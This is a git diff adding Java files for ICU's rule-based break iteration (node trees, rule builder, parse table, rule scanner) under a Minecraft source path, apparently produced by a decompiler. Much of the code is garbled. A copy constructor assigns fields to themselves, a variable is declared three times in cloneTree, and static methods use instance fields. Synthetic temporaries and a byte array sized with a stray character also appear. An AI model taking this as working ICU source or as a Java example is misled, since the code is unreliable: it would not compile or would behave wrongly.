+      for (int state = 0; state < getNumStates(table); state++) {
+        dumpRow(table, state);
+      }
+      System.out.println();
+    }
+  }
+  
+
+
+
+
+
+
+  private void dumpRow(short[] table, int state)
+  {
+    StringBuilder dest = new StringBuilder(fHeader.fCatCount * 5 + 20);
+    dest.append(intToString(state, 4));
+    int row = getRowIndex(state);
+    if (table[(row + 0)] != 0) {
+      dest.append(intToString(table[(row + 0)], 5));
+    } else {
+      dest.append("     ");
+    }
+    if (table[(row + 1)] != 0) {
+      dest.append(intToString(table[(row + 1)], 5));
+    } else {
+      dest.append("     ");
+    }
+    dest.append(intToString(table[(row + 2)], 5));
+    
+    for (int col = 0; col < fHeader.fCatCount; col++) {
+      dest.append(intToString(table[(row + 4 + col)], 5));
+    }
+    
+    System.out.println(dest);
+  }
+  
+
+  private void dumpCharCategories()
+  {
+    int n = fHeader.fCatCount;
+    String[] catStrings = new String[n + 1];
+    int rangeStart = 0;
+    int rangeEnd = 0;
+    int lastCat = -1;
+    
+
+    int[] lastNewline = new int[n + 1];
+    
+    for (int category = 0; category <= fHeader.fCatCount; category++) {
+      catStrings[category] = "";
+    }
+    System.out.println("\nCharacter Categories");
+    System.out.println("--------------------");
+    for (int char32 = 0; char32 <= 1114111; char32++) {
+      category = fTrie.getCodePointValue(char32);
+      category &= 0xBFFF;
+      if ((category < 0) || (category > fHeader.fCatCount)) {
+        System.out.println("Error, bad category " + Integer.toHexString(category) + " for char " + Integer.toHexString(char32));
+        
+        break;
+      }
+      if (category == lastCat) {
+        rangeEnd = char32;
+      } else {
+        if (lastCat >= 0) {
+          if (catStrings[lastCat].length() > lastNewline[lastCat] + 70) {
+            lastNewline[lastCat] = (catStrings[lastCat].length() + 10); int 
+              tmp226_224 = lastCat; String[] tmp226_223 = catStrings;tmp226_223[tmp226_224] = (tmp226_223[tmp226_224] + "\n       ");
+          }
+          
+          int tmp250_248 = lastCat; String[] tmp250_247 = catStrings;tmp250_247[tmp250_248] = (tmp250_247[tmp250_248] + " " + Integer.toHexString(rangeStart));
+          if (rangeEnd != rangeStart) {
+            int tmp287_285 = lastCat; String[] tmp287_284 = catStrings;tmp287_284[tmp287_285] = (tmp287_284[tmp287_285] + "-" + Integer.toHexString(rangeEnd));
+          }
+        }
+        lastCat = category;
+        rangeStart = rangeEnd = char32;
+      }
+    }
+    int tmp335_333 = lastCat; String[] tmp335_332 = catStrings;tmp335_332[tmp335_333] = (tmp335_332[tmp335_333] + " " + Integer.toHexString(rangeStart));
+    if (rangeEnd != rangeStart) {
+      int tmp372_370 = lastCat; String[] tmp372_369 = catStrings;tmp372_369[tmp372_370] = (tmp372_369[tmp372_370] + "-" + Integer.toHexString(rangeEnd));
+    }
+    
+    for (category = 0; category <= fHeader.fCatCount; category++) {
+      System.out.println(intToString(category, 5) + "  " + catStrings[category]);
+    }
+    System.out.println();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBINode.java b/src/minecraft/com/ibm/icu/text/RBBINode.java
new file mode 100644
index 0000000..894dcef
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBINode.java
@@ -0,0 +1,353 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import java.io.PrintStream;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBINode
+{
+  static final int setRef = 0;
+  static final int uset = 1;
+  static final int varRef = 2;
+  static final int leafChar = 3;
+  static final int lookAhead = 4;
+  static final int tag = 5;
+  static final int endMark = 6;
+  static final int opStart = 7;
+  static final int opCat = 8;
+  static final int opOr = 9;
+  static final int opStar = 10;
+  static final int opPlus = 11;
+  static final int opQuestion = 12;
+  static final int opBreak = 13;
+  static final int opReverse = 14;
+  static final int opLParen = 15;
+  static final int nodeTypeLimit = 16;
+  static final String[] nodeTypeNames = { "setRef", "uset", "varRef", "leafChar", "lookAhead", "tag", "endMark", "opStart", "opCat", "opOr", "opStar", "opPlus", "opQuestion", "opBreak", "opReverse", "opLParen" };
+  
+
+  static final int precZero = 0;
+  
+
+  static final int precStart = 1;
+  
+
+  static final int precLParen = 2;
+  
+
+  static final int precOpOr = 3;
+  
+
+  static final int precOpCat = 4;
+  
+
+  int fType;
+  
+
+  RBBINode fParent;
+  
+
+  RBBINode fLeftChild;
+  
+
+  RBBINode fRightChild;
+  
+  UnicodeSet fInputSet;
+  
+  int fPrecedence = 0;
+  
+
+  String fText;
+  
+
+  int fFirstPos;
+  
+
+  int fLastPos;
+  
+
+  boolean fNullable;
+  
+  int fVal;
+  
+  boolean fLookAheadEnd;
+  
+  Set<RBBINode> fFirstPosSet;
+  
+  Set<RBBINode> fLastPosSet;
+  
+  Set<RBBINode> fFollowPos;
+  
+  int fSerialNum;
+  
+  static int gLastSerial;
+  
+
+  RBBINode(int t)
+  {
+    Assert.assrt(t < 16);
+    fSerialNum = (++gLastSerial);
+    fType = t;
+    
+    fFirstPosSet = new HashSet();
+    fLastPosSet = new HashSet();
+    fFollowPos = new HashSet();
+    if (t == 8) {
+      fPrecedence = 4;
+    } else if (t == 9) {
+      fPrecedence = 3;
+    } else if (t == 7) {
+      fPrecedence = 1;
+    } else if (t == 15) {
+      fPrecedence = 2;
+    } else {
+      fPrecedence = 0;
+    }
+  }
+  
+  RBBINode(RBBINode other) {
+    fSerialNum = (++gLastSerial);
+    fType = fType;
+    fInputSet = fInputSet;
+    fPrecedence = fPrecedence;
+    fText = fText;
+    fFirstPos = fFirstPos;
+    fLastPos = fLastPos;
+    fNullable = fNullable;
+    fVal = fVal;
+    fFirstPosSet = new HashSet(fFirstPosSet);
+    fLastPosSet = new HashSet(fLastPosSet);
+    fFollowPos = new HashSet(fFollowPos);
+  }
+  
+
+
+
+  RBBINode cloneTree()
+  {
+    RBBINode n;
+    
+
+
+    RBBINode n;
+    
+
+    if (fType == 2)
+    {
+
+      n = fLeftChild.cloneTree(); } else { RBBINode n;
+      if (fType == 1) {
+        n = this;
+      } else {
+        n = new RBBINode(this);
+        if (fLeftChild != null) {
+          fLeftChild = fLeftChild.cloneTree();
+          fLeftChild.fParent = n;
+        }
+        if (fRightChild != null) {
+          fRightChild = fRightChild.cloneTree();
+          fRightChild.fParent = n;
+        }
+      } }
+    return n;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  RBBINode flattenVariables()
+  {
+    if (fType == 2) {
+      RBBINode retNode = fLeftChild.cloneTree();
+      
+      return retNode;
+    }
+    
+    if (fLeftChild != null) {
+      fLeftChild = fLeftChild.flattenVariables();
+      fLeftChild.fParent = this;
+    }
+    if (fRightChild != null) {
+      fRightChild = fRightChild.flattenVariables();
+      fRightChild.fParent = this;
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  void flattenSets()
+  {
+    Assert.assrt(fType != 0);
+    
+    if (fLeftChild != null) {
+      if (fLeftChild.fType == 0) {
+        RBBINode setRefNode = fLeftChild;
+        RBBINode usetNode = fLeftChild;
+        RBBINode replTree = fLeftChild;
+        fLeftChild = replTree.cloneTree();
+        fLeftChild.fParent = this;
+      } else {
+        fLeftChild.flattenSets();
+      }
+    }
+    
+    if (fRightChild != null) {
+      if (fRightChild.fType == 0) {
+        RBBINode setRefNode = fRightChild;
+        RBBINode usetNode = fLeftChild;
+        RBBINode replTree = fLeftChild;
+        fRightChild = replTree.cloneTree();
+        fRightChild.fParent = this;
+      }
+      else {
+        fRightChild.flattenSets();
+      }
+    }
+  }
+  
+
+
+
+
+
+  void findNodes(List<RBBINode> dest, int kind)
+  {
+    if (fType == kind) {
+      dest.add(this);
+    }
+    if (fLeftChild != null) {
+      fLeftChild.findNodes(dest, kind);
+    }
+    if (fRightChild != null) {
+      fRightChild.findNodes(dest, kind);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  static void printNode(RBBINode n)
+  {
+    if (n == null) {
+      System.out.print(" -- null --\n");
+    } else {
+      printInt(fSerialNum, 10);
+      printString(nodeTypeNames[fType], 11);
+      printInt(fParent == null ? 0 : fParent.fSerialNum, 11);
+      printInt(fLeftChild == null ? 0 : fLeftChild.fSerialNum, 11);
+      printInt(fRightChild == null ? 0 : fRightChild.fSerialNum, 12);
+      printInt(fFirstPos, 12);
+      printInt(fVal, 7);
+      
+      if (fType == 2) {
+        System.out.print(" " + fText);
+      }
+    }
+    System.out.println("");
+  }
+  
+
+
+
+
+  static void printString(String s, int minWidth)
+  {
+    for (int i = minWidth; i < 0; i++)
+    {
+      System.out.print(' ');
+    }
+    for (int i = s.length(); i < minWidth; i++) {
+      System.out.print(' ');
+    }
+    System.out.print(s);
+  }
+  
+
+
+
+
+
+  static void printInt(int i, int minWidth)
+  {
+    String s = Integer.toString(i);
+    printString(s, Math.max(minWidth, s.length() + 1));
+  }
+  
+
+  static void printHex(int i, int minWidth)
+  {
+    String s = Integer.toString(i, 16);
+    String leadingZeroes = "00000".substring(0, Math.max(0, 5 - s.length()));
+    
+    s = leadingZeroes + s;
+    printString(s, minWidth);
+  }
+  
+
+
+
+
+
+
+
+  void printTree(boolean printHeading)
+  {
+    if (printHeading) {
+      System.out.println("-------------------------------------------------------------------");
+      System.out.println("    Serial       type     Parent  LeftChild  RightChild    position  value");
+    }
+    printNode(this);
+    
+
+    if (fType != 2) {
+      if (fLeftChild != null) {
+        fLeftChild.printTree(false);
+      }
+      
+      if (fRightChild != null) {
+        fRightChild.printTree(false);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBIRuleBuilder.java b/src/minecraft/com/ibm/icu/text/RBBIRuleBuilder.java
new file mode 100644
index 0000000..7ceb5f4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBIRuleBuilder.java
@@ -0,0 +1,334 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.ICUDebug;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBIRuleBuilder
+{
+  String fDebugEnv;
+  String fRules;
+  RBBIRuleScanner fScanner;
+  RBBINode[] fTreeRoots = new RBBINode[4];
+  static final int fForwardTree = 0;
+  static final int fReverseTree = 1;
+  static final int fSafeFwdTree = 2;
+  static final int fSafeRevTree = 3;
+  int fDefaultTree = 0;
+  
+
+  boolean fChainRules;
+  
+
+  boolean fLBCMNoChain;
+  
+
+  boolean fLookAheadHardBreak;
+  
+  RBBISetBuilder fSetBuilder;
+  
+  List<RBBINode> fUSetNodes;
+  
+  RBBITableBuilder fForwardTables;
+  
+  RBBITableBuilder fReverseTables;
+  
+  RBBITableBuilder fSafeFwdTables;
+  
+  RBBITableBuilder fSafeRevTables;
+  
+  Map<Set<Integer>, Integer> fStatusSets = new HashMap();
+  
+
+
+  List<Integer> fRuleStatusVals;
+  
+
+
+  static final int U_BRK_ERROR_START = 66048;
+  
+
+
+  static final int U_BRK_INTERNAL_ERROR = 66049;
+  
+
+
+  static final int U_BRK_HEX_DIGITS_EXPECTED = 66050;
+  
+
+
+  static final int U_BRK_SEMICOLON_EXPECTED = 66051;
+  
+
+
+  static final int U_BRK_RULE_SYNTAX = 66052;
+  
+
+
+  static final int U_BRK_UNCLOSED_SET = 66053;
+  
+
+
+  static final int U_BRK_ASSIGN_ERROR = 66054;
+  
+
+
+  static final int U_BRK_VARIABLE_REDFINITION = 66055;
+  
+
+
+  static final int U_BRK_MISMATCHED_PAREN = 66056;
+  
+
+
+  static final int U_BRK_NEW_LINE_IN_QUOTED_STRING = 66057;
+  
+
+
+  static final int U_BRK_UNDEFINED_VARIABLE = 66058;
+  
+
+
+  static final int U_BRK_INIT_ERROR = 66059;
+  
+
+
+  static final int U_BRK_RULE_EMPTY_SET = 66060;
+  
+
+
+  static final int U_BRK_UNRECOGNIZED_OPTION = 66061;
+  
+
+  static final int U_BRK_MALFORMED_RULE_TAG = 66062;
+  
+
+  static final int U_BRK_MALFORMED_SET = 66063;
+  
+
+  static final int U_BRK_ERROR_LIMIT = 66064;
+  
+
+
+  RBBIRuleBuilder(String rules)
+  {
+    fDebugEnv = (ICUDebug.enabled("rbbi") ? ICUDebug.value("rbbi") : null);
+    
+    fRules = rules;
+    fUSetNodes = new ArrayList();
+    fRuleStatusVals = new ArrayList();
+    fScanner = new RBBIRuleScanner(this);
+    fSetBuilder = new RBBISetBuilder(this);
+  }
+  
+
+
+
+
+
+
+
+
+  static final int align8(int i)
+  {
+    return i + 7 & 0xFFFFFFF8;
+  }
+  
+  void flattenData(OutputStream os) throws IOException {
+    DataOutputStream dos = new DataOutputStream(os);
+    
+
+
+    String strippedRules = RBBIRuleScanner.stripRules(fRules);
+    
+
+
+
+
+
+    int headerSize = 96;
+    int forwardTableSize = align8(fForwardTables.getTableSize());
+    int reverseTableSize = align8(fReverseTables.getTableSize());
+    int safeFwdTableSize = align8(fSafeFwdTables.getTableSize());
+    int safeRevTableSize = align8(fSafeRevTables.getTableSize());
+    int trieSize = align8(fSetBuilder.getTrieSize());
+    int statusTableSize = align8(fRuleStatusVals.size() * 4);
+    int rulesSize = align8(strippedRules.length() * 2);
+    int totalSize = headerSize + forwardTableSize + reverseTableSize + safeFwdTableSize + safeRevTableSize + statusTableSize + trieSize + rulesSize;
+    
+
+    int outputPos = 0;
+    
+
+
+
+
+
+
+    byte[] ICUDataHeader = new byte['€'];
+    dos.write(ICUDataHeader);
+    
+
+
+
+    int[] header = new int[24];
+    header[0] = 45472;
+    header[1] = 50397184;
+    header[2] = totalSize;
+    header[3] = fSetBuilder.getNumCharCategories();
+    header[4] = headerSize;
+    header[5] = forwardTableSize;
+    header[6] = (header[4] + forwardTableSize);
+    header[7] = reverseTableSize;
+    header[8] = (header[6] + reverseTableSize);
+    
+    header[9] = safeFwdTableSize;
+    header[10] = (header[8] + safeFwdTableSize);
+    
+    header[11] = safeRevTableSize;
+    header[12] = (header[10] + safeRevTableSize);
+    
+    header[13] = fSetBuilder.getTrieSize();
+    header[16] = (header[12] + header[13]);
+    
+    header[17] = statusTableSize;
+    header[14] = (header[16] + statusTableSize);
+    
+    header[15] = (strippedRules.length() * 2);
+    for (int i = 0; i < header.length; i++) {
+      dos.writeInt(header[i]);
+      outputPos += 4;
+    }
+    
+
+
+    short[] tableData = fForwardTables.exportTable();
+    Assert.assrt(outputPos == header[4]);
+    for (i = 0; i < tableData.length; i++) {
+      dos.writeShort(tableData[i]);
+      outputPos += 2;
+    }
+    
+    tableData = fReverseTables.exportTable();
+    Assert.assrt(outputPos == header[6]);
+    for (i = 0; i < tableData.length; i++) {
+      dos.writeShort(tableData[i]);
+      outputPos += 2;
+    }
+    
+    Assert.assrt(outputPos == header[8]);
+    tableData = fSafeFwdTables.exportTable();
+    for (i = 0; i < tableData.length; i++) {
+      dos.writeShort(tableData[i]);
+      outputPos += 2;
+    }
+    
+    Assert.assrt(outputPos == header[10]);
+    tableData = fSafeRevTables.exportTable();
+    for (i = 0; i < tableData.length; i++) {
+      dos.writeShort(tableData[i]);
+      outputPos += 2;
+    }
+    
+
+    Assert.assrt(outputPos == header[12]);
+    fSetBuilder.serializeTrie(os);
+    outputPos += header[13];
+    while (outputPos % 8 != 0) {
+      dos.write(0);
+      outputPos++;
+    }
+    
+
+    Assert.assrt(outputPos == header[16]);
+    for (Integer val : fRuleStatusVals) {
+      dos.writeInt(val.intValue());
+      outputPos += 4;
+    }
+    
+    while (outputPos % 8 != 0) {
+      dos.write(0);
+      outputPos++;
+    }
+    
+
+
+    Assert.assrt(outputPos == header[14]);
+    dos.writeChars(strippedRules);
+    outputPos += strippedRules.length() * 2;
+    while (outputPos % 8 != 0) {
+      dos.write(0);
+      outputPos++;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  static void compileRules(String rules, OutputStream os)
+    throws IOException
+  {
+    RBBIRuleBuilder builder = new RBBIRuleBuilder(rules);
+    fScanner.parse();
+    
+
+
+
+
+
+
+    fSetBuilder.build();
+    
+
+
+
+    fForwardTables = new RBBITableBuilder(builder, 0);
+    fReverseTables = new RBBITableBuilder(builder, 1);
+    fSafeFwdTables = new RBBITableBuilder(builder, 2);
+    fSafeRevTables = new RBBITableBuilder(builder, 3);
+    fForwardTables.build();
+    fReverseTables.build();
+    fSafeFwdTables.build();
+    fSafeRevTables.build();
+    if ((fDebugEnv != null) && (fDebugEnv.indexOf("states") >= 0))
+    {
+      fForwardTables.printRuleStatusTable();
+    }
+    
+
+
+
+
+    builder.flattenData(os);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBIRuleParseTable.java b/src/minecraft/com/ibm/icu/text/RBBIRuleParseTable.java
new file mode 100644
index 0000000..f3b5763
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBIRuleParseTable.java
@@ -0,0 +1,79 @@
+package com.ibm.icu.text;
+
+
+class RBBIRuleParseTable
+{
+  static final short doCheckVarDef = 1;
+  
+  static final short doDotAny = 2;
+  
+  static final short doEndAssign = 3;
+  
+  static final short doEndOfRule = 4;
+  
+  static final short doEndVariableName = 5;
+  
+  static final short doExit = 6;
+  
+  static final short doExprCatOperator = 7;
+  
+  static final short doExprFinished = 8;
+  
+  static final short doExprOrOperator = 9;
+  
+  static final short doExprRParen = 10;
+  
+  static final short doExprStart = 11;
+  static final short doLParen = 12;
+  static final short doNOP = 13;
+  static final short doOptionEnd = 14;
+  static final short doOptionStart = 15;
+  static final short doReverseDir = 16;
+  static final short doRuleChar = 17;
+  static final short doRuleError = 18;
+  static final short doRuleErrorAssignExpr = 19;
+  static final short doScanUnicodeSet = 20;
+  static final short doSlash = 21;
+  static final short doStartAssign = 22;
+  static final short doStartTagValue = 23;
+  static final short doStartVariableName = 24;
+  static final short doTagDigit = 25;
+  static final short doTagExpectedError = 26;
+  static final short doTagValue = 27;
+  static final short doUnaryOpPlus = 28;
+  static final short doUnaryOpQuestion = 29;
+  static final short doUnaryOpStar = 30;
+  static final short doVariableNameExpectedErr = 31;
+  static final short kRuleSet_default = 255;
+  static final short kRuleSet_digit_char = 128;
+  static final short kRuleSet_eof = 252;
+  static final short kRuleSet_escaped = 254;
+  static final short kRuleSet_name_char = 129;
+  static final short kRuleSet_name_start_char = 130;
+  static final short kRuleSet_rule_char = 131;
+  static final short kRuleSet_white_space = 132;
+  
+  RBBIRuleParseTable() {}
+  
+  static class RBBIRuleTableElement
+  {
+    short fAction;
+    short fCharClass;
+    short fNextState;
+    short fPushState;
+    boolean fNextChar;
+    String fStateName;
+    
+    RBBIRuleTableElement(short a, int cc, int ns, int ps, boolean nc, String sn)
+    {
+      fAction = a;
+      fCharClass = ((short)cc);
+      fNextState = ((short)ns);
+      fPushState = ((short)ps);
+      fNextChar = nc;
+      fStateName = sn;
+    }
+  }
+  
+  static RBBIRuleTableElement[] gRuleParseStateTable = { new RBBIRuleTableElement(13, 0, 0, 0, true, null), new RBBIRuleTableElement(11, 254, 21, 8, false, "start"), new RBBIRuleTableElement(13, 132, 1, 0, true, null), new RBBIRuleTableElement(11, 36, 80, 90, false, null), new RBBIRuleTableElement(13, 33, 11, 0, true, null), new RBBIRuleTableElement(13, 59, 1, 0, true, null), new RBBIRuleTableElement(13, 252, 0, 0, false, null), new RBBIRuleTableElement(11, 255, 21, 8, false, null), new RBBIRuleTableElement(4, 59, 1, 0, true, "break-rule-end"), new RBBIRuleTableElement(13, 132, 8, 0, true, null), new RBBIRuleTableElement(18, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 33, 13, 0, true, "rev-option"), new RBBIRuleTableElement(16, 255, 20, 8, false, null), new RBBIRuleTableElement(15, 130, 15, 0, true, "option-scan1"), new RBBIRuleTableElement(18, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 129, 15, 0, true, "option-scan2"), new RBBIRuleTableElement(14, 255, 17, 0, false, null), new RBBIRuleTableElement(13, 59, 1, 0, true, "option-scan3"), new RBBIRuleTableElement(13, 132, 17, 0, true, null), new RBBIRuleTableElement(18, 255, 95, 0, false, null), new RBBIRuleTableElement(11, 255, 21, 8, false, "reverse-rule"), new RBBIRuleTableElement(17, 254, 30, 0, true, "term"), new RBBIRuleTableElement(13, 132, 21, 0, true, null), new RBBIRuleTableElement(17, 131, 30, 0, true, null), new RBBIRuleTableElement(13, 91, 86, 30, false, null), new RBBIRuleTableElement(12, 40, 21, 30, true, null), new RBBIRuleTableElement(13, 36, 80, 29, false, null), new RBBIRuleTableElement(2, 46, 30, 0, true, null), new RBBIRuleTableElement(18, 255, 95, 0, false, null), new RBBIRuleTableElement(1, 255, 30, 0, false, "term-var-ref"), new RBBIRuleTableElement(13, 132, 30, 0, true, "expr-mod"), new RBBIRuleTableElement(30, 42, 35, 0, true, null), new RBBIRuleTableElement(28, 43, 35, 0, true, null), new RBBIRuleTableElement(29, 63, 35, 0, true, null), new RBBIRuleTableElement(13, 255, 35, 0, false, null), new RBBIRuleTableElement(7, 254, 21, 0, false, "expr-cont"), new RBBIRuleTableElement(13, 132, 35, 0, true, null), new RBBIRuleTableElement(7, 131, 21, 0, false, null), new RBBIRuleTableElement(7, 91, 21, 0, false, null), new RBBIRuleTableElement(7, 40, 21, 0, false, null), new RBBIRuleTableElement(7, 36, 21, 0, false, null), new RBBIRuleTableElement(7, 46, 21, 0, false, null), new RBBIRuleTableElement(7, 47, 47, 0, false, null), new RBBIRuleTableElement(7, 123, 59, 0, true, null), new RBBIRuleTableElement(9, 124, 21, 0, true, null), new RBBIRuleTableElement(10, 41, 255, 0, true, null), new RBBIRuleTableElement(8, 255, 255, 0, false, null), new RBBIRuleTableElement(21, 47, 49, 0, true, "look-ahead"), new RBBIRuleTableElement(13, 255, 95, 0, false, null), new RBBIRuleTableElement(7, 254, 21, 0, false, "expr-cont-no-slash"), new RBBIRuleTableElement(13, 132, 35, 0, true, null), new RBBIRuleTableElement(7, 131, 21, 0, false, null), new RBBIRuleTableElement(7, 91, 21, 0, false, null), new RBBIRuleTableElement(7, 40, 21, 0, false, null), new RBBIRuleTableElement(7, 36, 21, 0, false, null), new RBBIRuleTableElement(7, 46, 21, 0, false, null), new RBBIRuleTableElement(9, 124, 21, 0, true, null), new RBBIRuleTableElement(10, 41, 255, 0, true, null), new RBBIRuleTableElement(8, 255, 255, 0, false, null), new RBBIRuleTableElement(13, 132, 59, 0, true, "tag-open"), new RBBIRuleTableElement(23, 128, 62, 0, false, null), new RBBIRuleTableElement(26, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 132, 66, 0, true, "tag-value"), new RBBIRuleTableElement(13, 125, 66, 0, false, null), new RBBIRuleTableElement(25, 128, 62, 0, true, null), new RBBIRuleTableElement(26, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 132, 66, 0, true, "tag-close"), new RBBIRuleTableElement(27, 125, 69, 0, true, null), new RBBIRuleTableElement(26, 255, 95, 0, false, null), new RBBIRuleTableElement(7, 254, 21, 0, false, "expr-cont-no-tag"), new RBBIRuleTableElement(13, 132, 69, 0, true, null), new RBBIRuleTableElement(7, 131, 21, 0, false, null), new RBBIRuleTableElement(7, 91, 21, 0, false, null), new RBBIRuleTableElement(7, 40, 21, 0, false, null), new RBBIRuleTableElement(7, 36, 21, 0, false, null), new RBBIRuleTableElement(7, 46, 21, 0, false, null), new RBBIRuleTableElement(7, 47, 47, 0, false, null), new RBBIRuleTableElement(9, 124, 21, 0, true, null), new RBBIRuleTableElement(10, 41, 255, 0, true, null), new RBBIRuleTableElement(8, 255, 255, 0, false, null), new RBBIRuleTableElement(24, 36, 82, 0, true, "scan-var-name"), new RBBIRuleTableElement(13, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 130, 84, 0, true, "scan-var-start"), new RBBIRuleTableElement(31, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 129, 84, 0, true, "scan-var-body"), new RBBIRuleTableElement(5, 255, 255, 0, false, null), new RBBIRuleTableElement(20, 91, 255, 0, true, "scan-unicode-set"), new RBBIRuleTableElement(20, 112, 255, 0, true, null), new RBBIRuleTableElement(20, 80, 255, 0, true, null), new RBBIRuleTableElement(13, 255, 95, 0, false, null), new RBBIRuleTableElement(13, 132, 90, 0, true, "assign-or-rule"), new RBBIRuleTableElement(22, 61, 21, 93, true, null), new RBBIRuleTableElement(13, 255, 29, 8, false, null), new RBBIRuleTableElement(3, 59, 1, 0, true, "assign-end"), new RBBIRuleTableElement(19, 255, 95, 0, false, null), new RBBIRuleTableElement(6, 255, 95, 0, true, "errorDeath") };
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBIRuleScanner.java b/src/minecraft/com/ibm/icu/text/RBBIRuleScanner.java
new file mode 100644
index 0000000..953fd7e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBIRuleScanner.java
@@ -0,0 +1,1086 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.lang.UCharacter;
+import java.io.PrintStream;
+import java.text.ParsePosition;
+import java.util.HashMap;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBIRuleScanner
+{
+  private static final int kStackSize = 100;
+  RBBIRuleBuilder fRB;
+  int fScanIndex;
+  int fNextIndex;
+  boolean fQuoteMode;
+  int fLineNum;
+  int fCharNum;
+  int fLastChar;
+  RBBIRuleChar fC = new RBBIRuleChar();
+  
+
+  String fVarName;
+  
+
+  short[] fStack = new short[100];
+  
+  int fStackPtr;
+  
+  RBBINode[] fNodeStack = new RBBINode[100];
+  
+
+  int fNodeStackPtr;
+  
+
+  boolean fReverseRule;
+  
+
+  boolean fLookAheadRule;
+  
+
+  RBBISymbolTable fSymbolTable;
+  
+
+  HashMap<String, RBBISetTableEl> fSetTable = new HashMap();
+  
+
+
+
+  UnicodeSet[] fRuleSets = new UnicodeSet[10];
+  
+
+
+
+  int fRuleNum;
+  
+
+
+  int fOptionStart;
+  
+
+
+  private static String gRuleSet_rule_char_pattern = "[^[\\p{Z}\\u0020-\\u007f]-[\\p{L}]-[\\p{N}]]";
+  private static String gRuleSet_name_char_pattern = "[_\\p{L}\\p{N}]";
+  private static String gRuleSet_digit_char_pattern = "[0-9]";
+  private static String gRuleSet_name_start_char_pattern = "[_\\p{L}]";
+  private static String gRuleSet_white_space_pattern = "[\\p{Pattern_White_Space}]";
+  private static String kAny = "any";
+  
+
+  static final int chNEL = 133;
+  
+
+  static final int chLS = 8232;
+  
+
+  RBBIRuleScanner(RBBIRuleBuilder rb)
+  {
+    fRB = rb;
+    fLineNum = 1;
+    
+
+
+
+
+    fRuleSets[3] = new UnicodeSet(gRuleSet_rule_char_pattern);
+    fRuleSets[4] = new UnicodeSet(gRuleSet_white_space_pattern);
+    fRuleSets[1] = new UnicodeSet(gRuleSet_name_char_pattern);
+    fRuleSets[2] = new UnicodeSet(gRuleSet_name_start_char_pattern);
+    fRuleSets[0] = new UnicodeSet(gRuleSet_digit_char_pattern);
+    
+    fSymbolTable = new RBBISymbolTable(this, fRules);
+  }
+  
+
+
+
+
+
+
+
+  boolean doParseActions(int action)
+  {
+    RBBINode n = null;
+    
+    boolean returnVal = true;
+    
+    switch (action)
+    {
+    case 11: 
+      pushNewNode(7);
+      fRuleNum += 1;
+      break;
+    
+    case 9: 
+      fixOpStack(4);
+      RBBINode operandNode = fNodeStack[(fNodeStackPtr--)];
+      RBBINode orNode = pushNewNode(9);
+      fLeftChild = operandNode;
+      fParent = orNode;
+      
+      break;
+    
+
+
+
+
+
+
+    case 7: 
+      fixOpStack(4);
+      RBBINode operandNode = fNodeStack[(fNodeStackPtr--)];
+      RBBINode catNode = pushNewNode(8);
+      fLeftChild = operandNode;
+      fParent = catNode;
+      
+      break;
+    
+
+
+
+
+
+
+    case 12: 
+      pushNewNode(15);
+      break;
+    
+    case 10: 
+      fixOpStack(2);
+      break;
+    
+
+
+
+
+    case 13: 
+      break;
+    
+
+
+
+
+
+    case 22: 
+      n = fNodeStack[(fNodeStackPtr - 1)];
+      fFirstPos = fNextIndex;
+      
+
+
+      pushNewNode(7);
+      break;
+    
+
+
+
+
+
+    case 3: 
+      fixOpStack(1);
+      
+      RBBINode startExprNode = fNodeStack[(fNodeStackPtr - 2)];
+      RBBINode varRefNode = fNodeStack[(fNodeStackPtr - 1)];
+      RBBINode RHSExprNode = fNodeStack[fNodeStackPtr];
+      
+
+
+
+      fFirstPos = fFirstPos;
+      fLastPos = fScanIndex;
+      
+
+      fText = fRB.fRules.substring(fFirstPos, fLastPos);
+      
+
+
+
+      fLeftChild = RHSExprNode;
+      fParent = varRefNode;
+      
+
+      fSymbolTable.addEntry(fText, varRefNode);
+      
+
+      fNodeStackPtr -= 3;
+      break;
+    
+
+    case 4: 
+      fixOpStack(1);
+      
+
+      if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("rtree") >= 0)) {
+        printNodeStack("end of rule");
+      }
+      Assert.assrt(fNodeStackPtr == 1);
+      
+
+
+      if (fLookAheadRule) {
+        RBBINode thisRule = fNodeStack[fNodeStackPtr];
+        RBBINode endNode = pushNewNode(6);
+        RBBINode catNode = pushNewNode(8);
+        fNodeStackPtr -= 2;
+        fLeftChild = thisRule;
+        fRightChild = endNode;
+        fNodeStack[fNodeStackPtr] = catNode;
+        fVal = fRuleNum;
+        fLookAheadEnd = true;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      int destRules = fReverseRule ? 1 : fRB.fDefaultTree;
+      
+      if (fRB.fTreeRoots[destRules] != null)
+      {
+
+
+
+
+        RBBINode thisRule = fNodeStack[fNodeStackPtr];
